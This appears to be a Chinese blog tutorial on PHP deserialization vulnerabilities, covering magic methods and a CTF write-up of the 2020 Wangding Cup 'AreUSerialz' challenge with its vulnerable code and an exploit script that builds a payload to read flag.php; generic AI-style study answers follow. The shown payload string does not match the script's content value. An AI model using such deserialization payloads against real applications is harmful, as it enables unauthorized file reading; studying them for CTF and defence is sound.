php反序列化学习(1)

在这里插入图片描述

序列化与反序列化

在这里插入图片描述

  • 序列化(Serialization):将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。
  • 反序列化:从存储区中读取该数据,并将其还原为对象的过程,称为反序列化。

简而言之:就是序列化后将对象转换为二进制等形式,反序列化就是将其逆回来,就是数据类型格式的相互转换。

参考:https://blog.csdn.net/tree_ifconfig/article/details/82766587

反序列化漏洞原理

未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行、SQL注入、目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

重要函数:
serialize() :将一个对象转换成字符串 。
unserialize() :将字符串还原成一个对象。

触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法。

__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用 isset()或 empty()触发
__unset() //在不可访问的属性上使用 unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发

查看(反)序列化后的值,我们可以自己敲,也可以用在线php测试网站
在这里插入图片描述
序列化后返回值类型参考这张图:
在这里插入图片描述

示例

<?php
error_reporting(0);
include "flag.php";
$KEY = "xiaodi";
$str = $_GET['str'];
if (unserialize($str) === "$KEY"){//反序列化,将字符串反序列化成对象与KEY变量的值对比。
echo "$flag";
}
show_source(__FILE__);
//echo serialize($_KEY);


//有类
class ABC{
   public $test;
   function __construct(){
       $test =1;
       echo '调用了构造函数<br>';
   }
   function __destruct(){
        echo '调用了析构函数<br>';
   }
   function __wakeup(){
       echo '调用了苏醒函数<br>';
   }
}
echo '创建对象 a<br>';
$a = new ABC;
echo '序列化<br>';
$a_ser=serialize($a);
echo '反序列化<br>';
$a_unser = unserialize($a_ser);
echo '对象快要死了!';
?>

在无类时,我们输入序列化后的值,其经过反序列化后与xiaodi对比,成功则返回flag.php:
在这里插入图片描述

例题:老版bugku的flag.php题目,比较简单。
在这里插入图片描述

考点有以下几处:

  1. bp抓包或postman构造数据包将以cookie方式提交,且提交的参数值为序列化后的空字节,而非变量$KEY,因为变量是后声明的!所以此处key就是迷惑人的。
  2. ==是值相等、===是全相等,值类型也要相同。
  3. if与elseif只会执行一个,因此提交时应将hint参数去掉。

有类时:

class ABC{
   public $test;
   function __construct(){ 
       $test =1;
       echo '调用了构造函数<br>';
   }
   function __destruct(){
        echo '调用了析构函数<br>';
   }
   function __wakeup(){
       echo '调用了苏醒函数<br>';
   }
}
echo '创建对象 a<br>';
$a = new ABC;
echo '序列化<br>';
$a_ser=serialize($a);
echo '反序列化<br>';
$a_unser = unserialize($a_ser);
echo '对象快要死了!';
?>

在这里插入图片描述
看运行结果,我们知道创建对象时会自动调用构造函数,序列化是不会自动调用魔术方法的,而反序列化会自动调用苏醒函数,之后销毁对象时有会调用析构函数。

例题:2020-网鼎杯-青龙组-Web-AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

exp:

<?php
class FileHandler{
	public $op=' 2';
	public $filename='flag.php';
	public $content="womeiyouyong";
}
$flag = new FileHandler();
$flag_1 = serialize($flag);
echo $flag_1;
?>
//序列化后得到的输出当做str参数的值提交。 输出结果为:O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"xd";}

解析:
1.需要用public修饰成员属性,因为is_valid函数会检验我们序列化后传递的值必须位于ascii码32-125即可见字符,但此处有个知识点:protectd修饰的变量会引入不可见字符\x00对应的ascii码为0,我们虽然看不到,但是序列化后就会出现,如下图。有了空字符就会被函数拦截,因此想要绕过必须public修饰,因为php>7.1时对类属性的检测不严格,public就不会在序列化后出现空字节。
在这里插入图片描述
2.审计发现可以利用read()函数读取flag,并且只能利用析构函数,构造函数会直接覆盖我们的变量,析构函数中涉及弱类型比较,三个等于会比较类型和数值,我们可以构造 ‘(空格)+2’ 来绕过。

参考:
[CTF]PHP反序列化总结

[网鼎杯 2020 青龙组]AreUSerialz

网鼎杯2020[青龙组]–AreUSerialz

### 回答1: PHP 反序列化是一种常见的安全漏洞,攻击者可以利用这个漏洞来执行恶意代码或者控制 Web 应用程序。要学习 PHP 反序列化,您可以按照以下步骤进行: 1.了解序列化和反序列化的基本概念。序列化是将对象转换为字符串的过程,反序列化则是将字符串转换为对象的过程。在 PHP 中,可以使用 serialize() 和 unserialize() 函数进行序列化和反序列化。 2.学习 PHP 反序列化的原理和技术。了解攻击者是如何利用反序列化漏洞来执行恶意代码的,以及如何使用一些工具和技术来发现和利用这些漏洞。 3.掌握 PHP 反序列化的实际操作。可以通过创建漏洞靶场或者参加 CTF 活动来进行实践,学习如何编写和利用反序列化漏洞的利用代码。 4.学习防御 PHP 反序列化漏洞的方法。了解一些常见的防御技术和最佳实践,以减少应用程序受到攻击的风险。 在学习 PHP 反序列化时,建议您选择一些优质的在线资源、书籍、博客或者论坛来学习,例如 OWASP 和 PHP 官方文档。此外,也可以加入一些安全社区或者参加一些培训课程,与其他安全从业者交流和学习经验。 ### 回答2: 学习PHP反序列化的过程可以分为以下几个步骤: 1.了解反序列化的概念:了解反序列化是将已经序列化的数据重新转换为原始的数据结构的过程。在PHP中,通过反序列化可以将序列化的对象还原为PHP对象。 2.学习序列化和反序列化的基本语法:了解PHP中的序列化函数`serialize()`和反序列化函数`unserialize()`的基本用法和语法。 3.检查可反序列化的数据源:了解在PHP中可以被反序列化的数据源有哪些,例如字符串、文件等。同时要注意在反序列化时,要确保数据源的可靠性,避免恶意数据的注入。 4.了解PHP对象的序列化和反序列化学习如何将PHP对象序列化为字符串,以及如何将序列化的字符串反序列化PHP对象。要了解序列化和反序列化的规则和约束,以确保数据的完整性和可用性。 5.研究PHP反序列化的安全问题:反序列化在应用中有一定的安全风险,因为恶意的序列化数据可以导致代码执行漏洞。学习安全的反序列化技术,了解如何避免和防范反序列化攻击。 6.通过实际练习提升技能:通过实践,结合自己的开发经验,写一些简单的反序列化代码,并且测试不同的反序列化情况,加深对反序列化的理解和掌握。 7.学习相关的安全工具和技术:掌握一些常用的PHP反序列化漏洞检测工具和安全技术,以提高对反序列化漏洞的识别和修复能力。 总之,学习PHP反序列化需要理解概念、语法和安全问题,并通过实践不断提升自己的技能。通过不断学习和实践,可以掌握PHP反序列化的使用和安全开发技巧。 ### 回答3: PHP反序列化是指将序列化后的数据重新还原成原始的PHP对象或数组的过程。学习PHP反序列化主要需要掌握以下几个步骤: 1. 了解序列化和反序列化的概念:序列化是将PHP对象或数组转换成字符串的过程,而反序列化则是将字符串还原成原始对象或数组的过程。了解这两个概念对于学习PHP反序列化非常重要。 2. 了解PHP的序列化函数:PHP提供了一些序列化函数,如serialize()函数和unserialize()函数。serialize()函数用于将PHP对象或数组转换成字符串,unserialize()函数则用于将字符串还原成原始对象或数组。 3. 学习序列化格式:PHP的序列化格式是特定的,掌握序列化格式对于理解反序列化非常重要。其中,序列化的格式可以通过序列化函数生成的字符串来进行分析,了解其中的规律和特点。 4. 学习反序列化漏洞:了解反序列化漏洞是学习PHP反序列化的重要一环。反序列化漏洞是指恶意用户通过在反序列化时植入恶意代码来实现攻击的一种漏洞。了解反序列化漏洞的原理及如何预防和修复是学习PHP反序列化的关键。 5. 实践练习:通过编写PHP代码来进行反序列化的实践练习是学习的重要环节。可以尝试使用serialize()函数将PHP对象或数组序列化,并使用unserialize()函数将序列化后的字符串反序列化,验证反序列化是否成功。 总之,学习PHP反序列化需要了解序列化和反序列化的概念、掌握PHP的序列化函数、学习序列化格式、了解反序列化漏洞以及进行实践练习。通过不断学习和实践,可以提高对PHP反序列化的理解和应用能力。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值